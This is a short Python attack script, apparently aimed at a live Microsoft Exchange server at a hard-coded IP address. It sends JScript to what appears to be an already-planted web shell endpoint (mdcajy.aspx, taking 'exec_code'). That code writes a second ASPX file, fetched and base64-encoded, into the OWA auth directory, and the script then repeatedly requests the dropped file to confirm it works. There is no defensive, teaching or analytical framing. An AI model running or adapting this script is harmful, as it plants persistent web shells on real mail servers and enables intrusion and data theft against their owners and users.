#!/usr/bin/env python3
import requests, base64, time
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"
SRC = requests.get("https://103.167.140.144/aspnet_client/c.aspx", verify=False, timeout=25).text
print("src_len", len(SRC), repr(SRC[:60]), flush=True)
b64 = base64.b64encode(SRC.encode()).decode()
P = r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x1.aspx"
js = ('try{System.IO.File.WriteAllBytes("%s",System.Convert.FromBase64String("%s"));'
      'Response.Write("DROP:"+System.IO.File.Exists("%s"));}catch(e){Response.Write("ERR:"+e.message);}'
      ) % (P.replace("\\","\\\\"), b64, P.replace("\\","\\\\"))
r = requests.post(EVAL, data={"exec_code": js}, verify=False, timeout=60)
print("drop:", repr(r.text.split('!BD')[0][:100]), flush=True)
time.sleep(4)
for i in range(3):
    try:
        g = requests.get("https://103.167.140.144/owa/auth/x1.aspx", verify=False, timeout=25)
        print(f"GET#{i}", g.status_code, len(g.content), "|", repr(g.text.split('!BD')[0][:120]), flush=True)
    except Exception as e:
        print("EXC", str(e)[:80], flush=True)
    time.sleep(3)